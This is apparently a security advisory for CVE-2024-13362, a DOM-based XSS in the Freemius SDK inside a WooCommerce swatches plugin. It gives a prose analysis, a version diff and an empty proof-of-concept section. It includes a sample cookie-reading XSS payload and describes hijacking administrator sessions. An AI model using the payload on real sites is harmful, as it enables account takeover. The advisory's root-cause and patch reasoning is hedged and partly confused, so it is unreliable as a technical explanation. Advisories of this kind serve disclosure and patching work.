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Published : May 8, 2026

CVE-2024-13362: Freemius <= 2.10.1 – Reflected DOM-Based Cross-Site Scripting via url Parameter (xt-woo-variation-swatches)

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 1.9.4
Patched Version 1.9.7
Disclosed April 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2024-13362: This is a reflected DOM-based cross-site scripting (XSS) vulnerability in the Freemius SDK, versions up to and including 2.10.1. The flaw exists in the license activation form template, where the script reads the ‘id’ attribute’s value from an HTML element using jQuery’s .data(‘id’) method. The value is then used directly in a JavaScript operation without sanitization, allowing an attacker to inject arbitrary script code via a crafted URL parameter. The CVSS score is 6.1 (Medium).

Root Cause: The root cause is insufficient input sanitization and output escaping in the Freemius license activation form, located at xt-framework/includes/freemius/templates/forms/license-activation.php. The vulnerable code is on line 572: `licenseID = $availableLicenseKey.data( ‘id’ ).toString();`. The $availableLicenseKey variable is derived from a jQuery selector that targets a DOM element whose attributes are populated from a URL query parameter (the ‘url’ parameter or a similarly controlled parameter). In the patched version (Freemius 2.10.2+), the value is explicitly converted to a string via .toString(), but the underlying issue is that if the .data(‘id’) value originates from attacker-controlled input (e.g., via a URL parameter that sets a data-id attribute in the rendered HTML), it can contain arbitrary JavaScript. The code does not validate that the value is a numeric license ID, nor does it escape the value before using it in a JavaScript context. This is a classic DOM-based XSS where the sink is the assignment of a value that later gets executed as code.

Exploitation: An unauthenticated attacker can craft a malicious URL that includes a specially crafted ‘url’ parameter (or another parameter that controls a data attribute in the license activation form). The attack vector is a reflected XSS: the attacker sends a link to a logged-in administrator. When the victim clicks the link, the Freemius SDK renders the license activation form. The attacker-controlled value is placed into a data-id attribute of an element (e.g., a hidden input or a dropdown option). The JavaScript in license-activation.php then reads this value via .data(‘id’) and uses it in a string that is processed as JavaScript. An example payload for the ‘url’ parameter could be: `?url=javascript:alert(document.cookie)` or a more specific payload targeting the data-id injection point. The exact injection point is the value that populates the data-id attribute of the `#availableLicenseKey` element or similar selectors. The payload executes in the context of the WordPress admin panel, allowing the attacker to steal session cookies, perform admin actions on behalf of the victim, or inject malicious content.

Patch Analysis: The patch changes line 572 from: `licenseID = $availableLicenseKey.data( ‘id’ );` to `licenseID = $availableLicenseKey.data( ‘id’ ).toString();`. The .toString() method converts the value to a string. This mitigates the vulnerability because if the .data(‘id’) returns a non-string value (e.g., an object or array designed to execute code), calling .toString() on it will produce the string ‘[object Object]’ instead of executing the malicious code. However, this is a partial fix; ideally, the value should also be validated to be a numeric license ID to prevent any manipulation. The patch still allows arbitrary strings, but because .toString() forces a string conversion, it prevents code execution via prototype pollution or object injection. The Freemius SDK version was updated from 2.9.0 to 2.11.0, indicating multiple other changes beyond this fix.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of a logged-in WordPress administrator. The attacker can steal session cookies, perform actions like creating new admin accounts, changing site settings, or injecting malicious content. The vulnerability is reflected (requires user interaction) but does not require authentication, making it a serious threat for targeted attacks. The CVSS score of 6.1 reflects the medium severity due to the need for user interaction (clicking a link). Given that the impact includes full site compromise if an admin is tricked, this should be prioritized for patching.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/xt-woo-variation-swatches/public/class-public.php
+++ b/xt-woo-variation-swatches/public/class-public.php
@@ -890,7 +890,12 @@
     public function image_id_to_src( $id, $size = 'woocommerce_thumbnail' ) {
         $image = ( $id ? wp_get_attachment_image_src( $id, $size ) : '' );
         $image = ( $image ? $image[0] : $this->core->plugin_url( 'admin/assets/images', 'placeholder.png' ) );
-        return $image;
+        return apply_filters(
+            "xt_woovs_image_id_to_src",
+            $image,
+            $size,
+            $id
+        );
     }

     /**
--- a/xt-woo-variation-swatches/xt-framework/includes/customizer/class-customizer.php
+++ b/xt-woo-variation-swatches/xt-framework/includes/customizer/class-customizer.php
@@ -88,7 +88,6 @@
             add_action( 'customize_preview_init', array( $this, 'customizer_preview_assets' ) );
             add_action( 'customize_controls_enqueue_scripts', array( $this, 'customizer_controls_assets' ) );

-            add_filter( 'upload_mimes', array( $this, 'allow_myme_types'), 1, 1 );
             add_filter( 'wp_check_filetype_and_ext', array( $this, 'check_filetype_and_ext'), 10, 4 );

             add_filter('body_class', array( $this, 'customizer_preview_class'), 1, 1);
@@ -1005,18 +1004,6 @@

         }

-        /**
-         * @param $mime_types
-         * @return mixed
-         */
-        public function allow_myme_types($mime_types ) {
-
-            $mime_types['svg']  = 'image/svg+xml'; //Adding svg extension
-            $mime_types['svgz'] = 'image/svg+xml';
-
-            return $mime_types;
-
-        }

     } // End Class

--- a/xt-woo-variation-swatches/xt-framework/includes/freemius/includes/class-freemius.php
+++ b/xt-woo-variation-swatches/xt-framework/includes/freemius/includes/class-freemius.php
@@ -110,6 +110,12 @@
         private $_enable_anonymous = true;

         /**
+         * @since 2.9.1
+         * @var string|null Hints the SDK whether the plugin supports parallel activation mode, preventing the auto-deactivation of the free version when the premium version is activated, and vice versa.
+         */
+        private $_premium_plugin_basename_from_parallel_activation;
+
+        /**
          * @since 1.1.7.5
          * @var bool Hints the SDK if plugin should run in anonymous mode (only adds feedback form).
          */
@@ -1651,6 +1657,31 @@
                     );
                 }
             }
+
+            if (
+                $this->is_user_in_admin() &&
+                $this->is_parallel_activation() &&
+                $this->_premium_plugin_basename !== $this->_premium_plugin_basename_from_parallel_activation
+            ) {
+                $this->_premium_plugin_basename = $this->_premium_plugin_basename_from_parallel_activation;
+
+                register_activation_hook(
+                    dirname( $this->_plugin_dir_path ) . '/' . $this->_premium_plugin_basename,
+                    array( &$this, '_activate_plugin_event_hook' )
+                );
+            }
+        }
+
+        /**
+         * Determines if a plugin is running in parallel activation mode.
+         *
+         * @author Leo Fajardo (@leorw)
+         * @since 2.9.1
+         *
+         * @return bool
+         */
+        private function is_parallel_activation() {
+            return ! empty( $this->_premium_plugin_basename_from_parallel_activation );
         }

         /**
@@ -5155,11 +5186,35 @@
                 $this->_plugin :
                 new FS_Plugin();

+            $is_premium     = $this->get_bool_option( $plugin_info, 'is_premium', true );
             $premium_suffix = $this->get_option( $plugin_info, 'premium_suffix', '(Premium)' );

+            $module_type = $this->get_option( $plugin_info, 'type', $this->_module_type );
+
+            $parallel_activation = $this->get_option( $plugin_info, 'parallel_activation' );
+
+            if (
+                ! $is_premium &&
+                is_array( $parallel_activation ) &&
+                ( WP_FS__MODULE_TYPE_PLUGIN === $module_type ) &&
+                $this->get_bool_option( $parallel_activation, 'enabled' )
+            ) {
+                $premium_basename = $this->get_option( $parallel_activation, 'premium_version_basename' );
+
+                if ( empty( $premium_basename ) ) {
+                    throw new Exception('You need to specify the premium version basename to enable parallel version activation.');
+                }
+
+                $this->_premium_plugin_basename_from_parallel_activation = $premium_basename;
+
+                if ( is_plugin_active( $premium_basename ) ) {
+                    $is_premium = true;
+                }
+            }
+
             $plugin->update( array(
                 'id'                   => $id,
-                'type'                 => $this->get_option( $plugin_info, 'type', $this->_module_type ),
+                'type'                 => $module_type,
                 'public_key'           => $public_key,
                 'slug'                 => $this->_slug,
                 'premium_slug'         => $this->get_option( $plugin_info, 'premium_slug', "{$this->_slug}-premium" ),
@@ -5167,7 +5222,7 @@
                 'version'              => $this->get_plugin_version(),
                 'title'                => $this->get_plugin_name( $premium_suffix ),
                 'file'                 => $this->_plugin_basename,
-                'is_premium'           => $this->get_bool_option( $plugin_info, 'is_premium', true ),
+                'is_premium'           => $is_premium,
                 'premium_suffix'       => $premium_suffix,
                 'is_live'              => $this->get_bool_option( $plugin_info, 'is_live', true ),
                 'affiliate_moderation' => $this->get_option( $plugin_info, 'has_affiliation' ),
@@ -5236,7 +5291,14 @@
                 $this->_anonymous_mode   = false;
             } else {
                 $this->_enable_anonymous = $this->get_bool_option( $plugin_info, 'enable_anonymous', true );
-                $this->_anonymous_mode   = $this->get_bool_option( $plugin_info, 'anonymous_mode', false );
+                $this->_anonymous_mode   = (
+                    $this->get_bool_option( $plugin_info, 'anonymous_mode', false ) ||
+                    (
+                        $this->apply_filters( 'playground_anonymous_mode', true ) &&
+                        ! empty( $_SERVER['HTTP_HOST'] ) &&
+                        FS_Site::is_playground_wp_environment_by_host( $_SERVER['HTTP_HOST'] )
+                    )
+                );
             }
             $this->_permissions = $this->get_option( $plugin_info, 'permissions', array() );
             $this->_is_bundle_license_auto_activation_enabled = $this->get_option( $plugin_info, 'bundle_license_auto_activation', false );
@@ -5444,7 +5506,7 @@

             if ( $this->is_registered() ) {
                 // Schedule code type changes event.
-                $this->schedule_install_sync();
+                $this->maybe_schedule_install_sync_cron();
             }

             /**
@@ -6508,6 +6570,33 @@
         }

         /**
+         * Instead of running blocking install sync event, execute non blocking scheduled cron job.
+         *
+         * @param int $except_blog_id Since 2.0.0 when running in a multisite network environment, the cron execution is consolidated. This param allows excluding specified blog ID from being the cron job executor.
+         *
+         * @author Leo Fajardo (@leorw)
+         * @since  2.9.1
+         */
+        private function maybe_schedule_install_sync_cron( $except_blog_id = 0 ) {
+            if ( ! $this->is_user_in_admin() ) {
+                return;
+            }
+
+            if ( $this->is_clone() ) {
+                return;
+            }
+
+            if (
+                // The event has been properly scheduled, so no need to reschedule it.
+                is_numeric( $this->next_install_sync() )
+            ) {
+                return;
+            }
+
+            $this->schedule_cron( 'install_sync', 'install_sync', 'single', WP_FS__SCRIPT_START_TIME, false, $except_blog_id );
+        }
+
+        /**
          * @author Vova Feldman (@svovaf)
          * @since  1.1.7.3
          *
@@ -6605,22 +6694,6 @@
         }

         /**
-         * Instead of running blocking install sync event, execute non blocking scheduled wp-cron.
-         *
-         * @author Vova Feldman (@svovaf)
-         * @since  1.1.7.3
-         *
-         * @param int $except_blog_id Since 2.0.0 when running in a multisite network environment, the cron execution is consolidated. This param allows excluding excluded specified blog ID from being the cron executor.
-         */
-        private function schedule_install_sync( $except_blog_id = 0 ) {
-            if ( $this->is_clone() ) {
-                return;
-            }
-
-            $this->schedule_cron( 'install_sync', 'install_sync', 'single', WP_FS__SCRIPT_START_TIME, false, $except_blog_id );
-        }
-
-        /**
          * Unix timestamp for previous install sync cron execution or false if never executed.
          *
          * @todo   There's some very strange bug that $this->_storage->install_sync_timestamp value is not being updated. But for sure the sync event is working.
@@ -7411,7 +7484,7 @@
                  */
                 if (
                     is_plugin_active( $other_version_basename ) &&
-                    $this->apply_filters( 'deactivate_on_activation', true )
+                    $this->apply_filters( 'deactivate_on_activation', ! $this->is_parallel_activation() )
                 ) {
                     deactivate_plugins( $other_version_basename );
                 }
@@ -7425,7 +7498,7 @@

                 // Schedule re-activation event and sync.
 //				$this->sync_install( array(), true );
-                $this->schedule_install_sync();
+                $this->maybe_schedule_install_sync_cron();

                 // If activating the premium module version, add an admin notice to congratulate for an upgrade completion.
                 if ( $is_premium_version_activation ) {
@@ -8616,7 +8689,7 @@
                 return;
             }

-            $this->schedule_install_sync();
+            $this->maybe_schedule_install_sync_cron();
 //			$this->sync_install( array(), true );
         }

@@ -15974,7 +16047,7 @@
             if ( $this->is_install_sync_scheduled() &&
                  $context_blog_id == $this->get_install_sync_cron_blog_id()
             ) {
-                $this->schedule_install_sync( $context_blog_id );
+                $this->maybe_schedule_install_sync_cron( $context_blog_id );
             }
         }

@@ -23927,13 +24000,15 @@

             // Start trial button.
             $button = ' ' . sprintf(
-                    '<a style="margin-left: 10px; vertical-align: super;" href="%s"><button class="button button-primary">%s  ➜</button></a>',
+                    '<div><a class="button button-primary" href="%s">%s  ➜</a></div>',
                     $trial_url,
                     $this->get_text_x_inline( 'Start free trial', 'call to action', 'start-free-trial' )
                 );

+            $message_text = $this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string}" );
+
             $this->_admin_notices->add_sticky(
-                $this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string} {$button}" ),
+                "<div class="fs-trial-message-container"><div>{$message_text}</div> {$button}</div>",
                 'trial_promotion',
                 '',
                 'promotion'
@@ -25403,7 +25478,7 @@
                 $img_dir = WP_FS__DIR_IMG;

                 // Locate the main assets folder.
-                if ( 1 < count( $fs_active_plugins->plugins ) ) {
+                if ( ! empty( $fs_active_plugins->plugins ) ) {
                     $plugin_or_theme_img_dir = ( $this->is_plugin() ? WP_PLUGIN_DIR : get_theme_root( get_stylesheet() ) );

                     foreach ( $fs_active_plugins->plugins as $sdk_path => &$data ) {
--- a/xt-woo-variation-swatches/xt-framework/includes/freemius/includes/class-fs-plugin-updater.php
+++ b/xt-woo-variation-swatches/xt-framework/includes/freemius/includes/class-fs-plugin-updater.php
@@ -542,24 +542,8 @@

             global $wp_current_filter;

-            $current_plugin_version = $this->_fs->get_plugin_version();
-
-            if ( ! empty( $wp_current_filter ) && 'upgrader_process_complete' === $wp_current_filter[0] ) {
-                if (
-                    is_null( $this->_update_details ) ||
-                    ( is_object( $this->_update_details ) && $this->_update_details->new_version !== $current_plugin_version )
-                ) {
-                    /**
-                     * After an update, clear the stored update details and reparse the plugin's main file in order to get
-                     * the updated version's information and prevent the previous update information from showing up on the
-                     * updates page.
-                     *
-                     * @author Leo Fajardo (@leorw)
-                     * @since 2.3.1
-                     */
-                    $this->_update_details  = null;
-                    $current_plugin_version = $this->_fs->get_plugin_version( true );
-                }
+            if ( ! empty( $wp_current_filter ) && in_array( 'upgrader_process_complete', $wp_current_filter ) ) {
+                return $transient_data;
             }

             if ( ! isset( $this->_update_details ) ) {
@@ -568,7 +552,7 @@
                     false,
                     fs_request_get_bool( 'force-check' ),
                     FS_Plugin_Updater::UPDATES_CHECK_CACHE_EXPIRATION,
-                    $current_plugin_version
+                    $this->_fs->get_plugin_version()
                 );

                 $this->_update_details = false;
--- a/xt-woo-variation-swatches/xt-framework/includes/freemius/includes/entities/class-fs-plugin-plan.php
+++ b/xt-woo-variation-swatches/xt-framework/includes/freemius/includes/entities/class-fs-plugin-plan.php
@@ -13,7 +13,6 @@
 	/**
 	 * Class FS_Plugin_Plan
 	 *
-	 * @property FS_Pricing[] $pricing
 	 */
 	class FS_Plugin_Plan extends FS_Entity {

--- a/xt-woo-variation-swatches/xt-framework/includes/freemius/includes/entities/class-fs-site.php
+++ b/xt-woo-variation-swatches/xt-framework/includes/freemius/includes/entities/class-fs-site.php
@@ -10,16 +10,16 @@
         exit;
     }

-    /**
-     * @property int $blog_id
-     */
-    #[AllowDynamicProperties]
     class FS_Site extends FS_Scope_Entity {
         /**
          * @var number
          */
         public $site_id;
         /**
+         * @var int
+         */
+        public $blog_id;
+        /**
          * @var number
          */
         public $plugin_id;
@@ -190,7 +190,7 @@
                 fs_ends_with( $subdomain, '.cloudwaysapps.com' ) ||
                 // Kinsta
                 (
-                    ( fs_starts_with( $subdomain, 'staging-' ) || fs_starts_with( $subdomain, 'env-' ) ) &&
+                    ( fs_starts_with( $subdomain, 'stg-' ) ||  fs_starts_with( $subdomain, 'staging-' ) || fs_starts_with( $subdomain, 'env-' ) ) &&
                     ( fs_ends_with( $subdomain, '.kinsta.com' ) || fs_ends_with( $subdomain, '.kinsta.cloud' ) )
                 ) ||
                 // DesktopServer
@@ -208,6 +208,40 @@
             );
         }

+        /**
+         * @author Leo Fajardo (@leorw)
+         * @since  2.9.1
+         *
+         * @param string $host
+         *
+         * @return bool
+         */
+        static function is_playground_wp_environment_by_host( $host ) {
+            // Services aimed at providing a WordPress sandbox environment.
+            $sandbox_wp_environment_domains = array(
+                // InstaWP
+                'instawp.xyz',
+
+                // TasteWP
+                'tastewp.com',
+
+                // WordPress Playground
+                'playground.wordpress.net',
+            );
+
+            foreach ( $sandbox_wp_environment_domains as $domain) {
+                if (
+                    ( $host === $domain ) ||
+                    fs_ends_with( $host, '.' . $domain ) ||
+                    fs_ends_with( $host, '-' . $domain )
+                ) {
+                    return true;
+                }
+            }
+
+            return false;
+        }
+
         function is_localhost() {
             return ( WP_FS__IS_LOCALHOST_FOR_SERVER || self::is_localhost_by_address( $this->url ) );
         }
--- a/xt-woo-variation-swatches/xt-framework/includes/freemius/includes/entities/class-fs-user.php
+++ b/xt-woo-variation-swatches/xt-framework/includes/freemius/includes/entities/class-fs-user.php
@@ -48,6 +48,19 @@
 			parent::__construct( $user );
 		}

+		/**
+		 * This method removes the deprecated 'is_beta' property from the serialized data.
+		 * Should clean up the serialized data to avoid PHP 8.2 warning on next execution.
+		 *
+		 * @return void
+		 */
+		function __wakeup() {
+			if ( property_exists( $this, 'is_beta' ) ) {
+				// If we enter here, and we are running PHP 8.2, we already had the warning. But we sanitize data for next execution.
+				unset( $this->is_beta );
+			}
+		}
+
 		function get_name() {
 			return trim( ucfirst( trim( is_string( $this->first ) ? $this->first : '' ) ) . ' ' . ucfirst( trim( is_string( $this->last ) ? $this->last : '' ) ) );
 		}
--- a/xt-woo-variation-swatches/xt-framework/includes/freemius/includes/managers/class-fs-admin-menu-manager.php
+++ b/xt-woo-variation-swatches/xt-framework/includes/freemius/includes/managers/class-fs-admin-menu-manager.php
@@ -699,16 +699,36 @@
 				$menu = $this->find_main_submenu();
 			}

+			$menu_slug   = $menu['menu'][2];
 			$parent_slug = isset( $menu['parent_slug'] ) ?
-                $menu['parent_slug'] :
-                'admin.php';
+				$menu['parent_slug'] :
+				'admin.php';

-            return admin_url(
-                $parent_slug .
-                ( false === strpos( $parent_slug, '?' ) ? '?' : '&' ) .
-                'page=' .
-                $menu['menu'][2]
-            );
+			if ( fs_apply_filter( $this->_module_unique_affix, 'enable_cpt_advanced_menu_logic', false ) ) {
+				$parent_slug = 'admin.php';
+
+				/**
+				 * This line and the `if` block below it are based on the `menu_page_url()` function of WordPress.
+				 *
+				 * @author Leo Fajardo (@leorw)
+				 * @since 2.10.2
+				 */
+				global $_parent_pages;
+
+				if ( ! empty( $_parent_pages[ $menu_slug ] ) ) {
+					$_parent_slug = $_parent_pages[ $menu_slug ];
+					$parent_slug  = isset( $_parent_pages[ $_parent_slug ] ) ?
+						$parent_slug :
+						$menu['parent_slug'];
+				}
+			}
+
+			return admin_url(
+				$parent_slug .
+				( false === strpos( $parent_slug, '?' ) ? '?' : '&' ) .
+				'page=' .
+				$menu_slug
+			);
 		}

 		/**
--- a/xt-woo-variation-swatches/xt-framework/includes/freemius/includes/managers/class-fs-admin-notice-manager.php
+++ b/xt-woo-variation-swatches/xt-framework/includes/freemius/includes/managers/class-fs-admin-notice-manager.php
@@ -194,8 +194,14 @@
          * @since  1.0.7
          */
         static function _add_sticky_dismiss_javascript() {
+            $sticky_admin_notice_js_template_name = 'sticky-admin-notice-js.php';
+
+            if ( ! file_exists( fs_get_template_path( $sticky_admin_notice_js_template_name ) ) ) {
+                return;
+            }
+
             $params = array();
-            fs_require_once_template( 'sticky-admin-notice-js.php', $params );
+            fs_require_once_template( $sticky_admin_notice_js_template_name, $params );
         }

         private static $_added_sticky_javascript = false;
--- a/xt-woo-variation-swatches/xt-framework/includes/freemius/start.php
+++ b/xt-woo-variation-swatches/xt-framework/includes/freemius/start.php
@@ -15,7 +15,7 @@
 	 *
 	 * @var string
 	 */
-	$this_sdk_version = '2.9.0';
+	$this_sdk_version = '2.11.0';

 	#region SDK Selection Logic --------------------------------------------------------------------

@@ -36,7 +36,16 @@
 		require_once dirname( __FILE__ ) . '/includes/fs-essential-functions.php';
 	}

-	/**
+    /**
+     * We updated the logic to support SDK loading from a subfolder of a theme as well as from a parent theme
+     * If the SDK is found in the active theme, it sets the relative path accordingly.
+     * If not, it checks the parent theme and sets the relative path if found there.
+     * This allows the SDK to be loaded from composer dependencies or from a custom `vendor/freemius` folder.
+     *
+     * @author Daniele Alessandra (@DanieleAlessandra)
+     * @since  2.9.0.5
+     *
+     *
 	 * This complex logic fixes symlink issues (e.g. with Vargant). The logic assumes
 	 * that if it's a file from an SDK running in a theme, the location of the SDK
 	 * is in the main theme's folder.
@@ -83,16 +92,50 @@
      */
 	$themes_directory         = get_theme_root( get_stylesheet() );
 	$themes_directory_name    = basename( $themes_directory );
-	$theme_candidate_basename = basename( dirname( $fs_root_path ) ) . '/' . basename( $fs_root_path );

-	if ( $file_path == fs_normalize_path( realpath( trailingslashit( $themes_directory ) . $theme_candidate_basename . '/' . basename( $file_path ) ) )
-	) {
-		$this_sdk_relative_path = '../' . $themes_directory_name . '/' . $theme_candidate_basename;
-		$is_theme               = true;
-	} else {
-		$this_sdk_relative_path = plugin_basename( $fs_root_path );
-		$is_theme               = false;
-	}
+    // This change ensures that the condition works even if the SDK is located in a subdirectory (e.g., vendor)
+    $theme_candidate_sdk_basename = str_replace( $themes_directory . '/' . get_stylesheet() . '/', '', $fs_root_path );
+
+    // Check if the current file is part of the active theme.
+    $is_current_sdk_from_active_theme = $file_path == $themes_directory . '/' . get_stylesheet() . '/' . $theme_candidate_sdk_basename . '/' . basename( $file_path );
+    $is_current_sdk_from_parent_theme = false;
+
+    // Check if the current file is part of the parent theme.
+    if ( ! $is_current_sdk_from_active_theme ) {
+        $theme_candidate_sdk_basename     = str_replace( $themes_directory . '/' . get_template() . '/',
+            '',
+            $fs_root_path );
+        $is_current_sdk_from_parent_theme = $file_path == $themes_directory . '/' . get_template() . '/' . $theme_candidate_sdk_basename . '/' . basename( $file_path );
+    }
+
+    $theme_name = null;
+    if ( $is_current_sdk_from_active_theme ) {
+        $theme_name             = get_stylesheet();
+        $this_sdk_relative_path = '../' . $themes_directory_name . '/' . $theme_name . '/' . $theme_candidate_sdk_basename;
+        $is_theme               = true;
+    } else if ( $is_current_sdk_from_parent_theme ) {
+        $theme_name             = get_template();
+        $this_sdk_relative_path = '../' . $themes_directory_name . '/' . $theme_name . '/' . $theme_candidate_sdk_basename;
+        $is_theme               = true;
+    } else {
+        $this_sdk_relative_path = plugin_basename( $fs_root_path );
+        $is_theme               = false;
+
+        /**
+         * If this file was included from another plugin with lower SDK version, and if this plugin is symlinked, then we need to get the actual plugin path,
+         * as the value right now will be wrong, it will only remove the directory separator from the file_path.
+         *
+         * The check of `fs_find_direct_caller_plugin_file` determines that this file was indeed included by a different plugin than the main plugin.
+         */
+        if ( DIRECTORY_SEPARATOR . $this_sdk_relative_path === $fs_root_path && function_exists( 'fs_find_direct_caller_plugin_file' ) ) {
+            $original_plugin_dir_name = dirname( fs_find_direct_caller_plugin_file( $file_path ) );
+
+            // Remove everything before the original plugin directory name.
+            $this_sdk_relative_path = substr( $this_sdk_relative_path, strpos( $this_sdk_relative_path, $original_plugin_dir_name ) );
+
+            unset( $original_plugin_dir_name );
+        }
+    }

 	if ( ! isset( $fs_active_plugins ) ) {
 		// Load all Freemius powered active plugins.
@@ -176,7 +219,8 @@
 	     $this_sdk_version != $fs_active_plugins->plugins[ $this_sdk_relative_path ]->version
 	) {
 		if ( $is_theme ) {
-			$plugin_path = basename( dirname( $this_sdk_relative_path ) );
+            // Saving relative path and not only directory name as it could be a subfolder
+            $plugin_path = $theme_name;
 		} else {
 			$plugin_path = plugin_basename( fs_find_direct_caller_plugin_file( $file_path ) );
 		}
@@ -225,11 +269,23 @@

 		$is_newest_sdk_type_theme = ( isset( $fs_newest_sdk->type ) && 'theme' === $fs_newest_sdk->type );

-		if ( ! $is_newest_sdk_type_theme ) {
-			$is_newest_sdk_plugin_active = is_plugin_active( $fs_newest_sdk->plugin_path );
-		} else {
-			$current_theme               = wp_get_theme();
-			$is_newest_sdk_plugin_active = ( $current_theme->stylesheet === $fs_newest_sdk->plugin_path );
+        /**
+         * @var bool $is_newest_sdk_module_active
+         * True if the plugin with the newest SDK is active.
+         * True if the newest SDK is part of the current theme or current theme's parent.
+         * False otherwise.
+         */
+        if ( ! $is_newest_sdk_type_theme ) {
+            $is_newest_sdk_module_active = is_plugin_active( $fs_newest_sdk->plugin_path );
+        } else {
+            $current_theme = wp_get_theme();
+            // Detect if current theme is the one registered as newer SDK
+            $is_newest_sdk_module_active = (
+                strpos(
+                    $fs_newest_sdk->plugin_path,
+                    '../' . $themes_directory_name . '/' . $current_theme->get_stylesheet() . '/'
+                ) === 0
+            );

             $current_theme_parent = $current_theme->parent();

@@ -237,13 +293,19 @@
              * If the current theme is a child of the theme that has the newest SDK, this prevents a redirects loop
              * from happening by keeping the SDK info stored in the `fs_active_plugins` option.
              */
-            if ( ! $is_newest_sdk_plugin_active && $current_theme_parent instanceof WP_Theme ) {
-                $is_newest_sdk_plugin_active = ( $fs_newest_sdk->plugin_path === $current_theme_parent->stylesheet );
+            if ( ! $is_newest_sdk_module_active && $current_theme_parent instanceof WP_Theme ) {
+                // Detect if current theme parent is the one registered as newer SDK
+                $is_newest_sdk_module_active = (
+                    strpos(
+                        $fs_newest_sdk->plugin_path,
+                        '../' . $themes_directory_name . '/' . $current_theme_parent->get_stylesheet() . '/'
+                    ) === 0
+                );
             }
 		}

 		if ( $is_current_sdk_newest &&
-		     ! $is_newest_sdk_plugin_active &&
+		     ! $is_newest_sdk_module_active &&
 		     ! $fs_active_plugins->newest->in_activation
 		) {
 			// If current SDK is the newest and the plugin is NOT active, it means
@@ -262,14 +324,14 @@
 				. '/start.php' );
 		}

-		$is_newest_sdk_path_valid = ( $is_newest_sdk_plugin_active || $fs_active_plugins->newest->in_activation ) && file_exists( $sdk_starter_path );
+		$is_newest_sdk_path_valid = ( $is_newest_sdk_module_active || $fs_active_plugins->newest->in_activation ) && file_exists( $sdk_starter_path );

 		if ( ! $is_newest_sdk_path_valid && ! $is_current_sdk_newest ) {
 			// Plugin with newest SDK is no longer active, or SDK was moved to a different location.
 			unset( $fs_active_plugins->plugins[ $fs_active_plugins->newest->sdk_path ] );
 		}

-		if ( ! ( $is_newest_sdk_plugin_active || $fs_active_plugins->newest->in_activation ) ||
+		if ( ! ( $is_newest_sdk_module_active || $fs_active_plugins->newest->in_activation ) ||
 		     ! $is_newest_sdk_path_valid ||
 		     // Is newest SDK downgraded.
 		     ( $this_sdk_relative_path == $fs_active_plugins->newest->sdk_path &&
@@ -284,7 +346,7 @@
 			// Find the active plugin with the newest SDK version and update the newest reference.
 			fs_fallback_to_newest_active_sdk();
 		} else {
-			if ( $is_newest_sdk_plugin_active &&
+			if ( $is_newest_sdk_module_active &&
 			     $this_sdk_relative_path == $fs_active_plugins->newest->sdk_path &&
 			     ( $fs_active_plugins->newest->in_activation ||
 			       ( class_exists( 'Freemius' ) && ( ! defined( 'WP_FS__SDK_VERSION' ) || version_compare( WP_FS__SDK_VERSION, $this_sdk_version, '<' ) ) )
@@ -313,7 +375,7 @@
 		return;
 	}

-	if ( version_compare( $this_sdk_version, $fs_active_plugins->newest->version, '<' ) ) {
+	if ( isset( $fs_active_plugins->newest ) && version_compare( $this_sdk_version, $fs_active_plugins->newest->version, '<' ) ) {
 		$newest_sdk = $fs_active_plugins->plugins[ $fs_active_plugins->newest->sdk_path ];

 		$plugins_or_theme_dir_path = ( ! isset( $newest_sdk->type ) || 'theme' !== $newest_sdk->type ) ?
--- a/xt-woo-variation-swatches/xt-framework/includes/freemius/templates/forms/license-activation.php
+++ b/xt-woo-variation-swatches/xt-framework/includes/freemius/templates/forms/license-activation.php
@@ -569,7 +569,7 @@
 				        licenseKey = $otherLicenseKey.val();
                     } else {
 				        if ( ! hasLicensesDropdown ) {
-                            licenseID = $availableLicenseKey.data( 'id' );
+                            licenseID = $availableLicenseKey.data( 'id' ).toString();
                         } else {
                             licenseID = $licensesDropdown.val();
                         }
--- a/xt-woo-variation-swatches/xt-framework/includes/freemius/templates/pricing.php
+++ b/xt-woo-variation-swatches/xt-framework/includes/freemius/templates/pricing.php
@@ -69,6 +69,11 @@

     wp_enqueue_script( 'freemius-pricing', $pricing_js_url );

+    $pricing_css_path = $fs->apply_filters( 'pricing/css_path', null );
+    if ( is_string( $pricing_css_path ) ) {
+        wp_enqueue_style( 'freemius-pricing', fs_asset_url( $pricing_css_path ) );
+    }
+
 	$has_tabs = $fs->_add_tabs_before_content();

 	if ( $has_tabs ) {
@@ -95,6 +100,8 @@
             'unique_affix'           => $fs->get_unique_affix(),
             'show_annual_in_monthly' => $fs->apply_filters( 'pricing/show_annual_in_monthly', true ),
             'license'                => $fs->has_active_valid_license() ? $fs->_get_license() : null,
+            'plugin_icon'            => $fs->get_local_icon_url(),
+            'disable_single_package' => $fs->apply_filters( 'pricing/disable_single_package', false ),
         ), $query_params );

         wp_add_inline_script( 'freemius-pricing', 'Freemius.pricing.new( ' . json_encode( $pricing_config ) . ' )' );
--- a/xt-woo-variation-swatches/xt-framework/start.php
+++ b/xt-woo-variation-swatches/xt-framework/start.php
@@ -21,7 +21,7 @@
  *
  * @var string
  */
-$this_fw_version = '2.5.3';
+$this_fw_version = '2.5.5';

 /**
  * Special logic to make sure that every XT plugin framework
--- a/xt-woo-variation-swatches/xt-woo-variation-swatches.php
+++ b/xt-woo-variation-swatches/xt-woo-variation-swatches.php
@@ -11,9 +11,9 @@
  * Plugin Name: XT Variation Swatches for WooCommerce
  * Plugin URI:  https://xplodedthemes.com/products/woo-variation-swatches/
  * Description: A WooCommerce extension that transforms variation dropdowns to beautiful color, image or label swatches. Image swatches will automatically be applied for variation color attributes that contains an image.
- * Version:     1.9.4
+ * Version:     1.9.7
  * WC requires at least: 3.0.0
- * WC tested up to: 9.3
+ * WC tested up to: 9.7
  * Author:      XplodedThemes
  * Author URI:  https://xplodedthemes.com
  * Text Domain: xt-woo-variation-swatches
@@ -35,7 +35,7 @@
 $market = (defined('XT_MARKET')) ? XT_MARKET : $market;

 $xt_woovs_plugin = array(
-    'version'       => '1.9.4',
+    'version'       => '1.9.7',
     'name'          => esc_html__('Variation Swatches for WooCommerce', 'xt-woo-variation-swatches'),
     'menu_name'     => esc_html__('Variation Swatches', 'xt-woo-variation-swatches'),
 	'url'          => 'https://xplodedthemes.com/products/woo-variation-swatches/',

Proof of Concept (PHP)

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This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

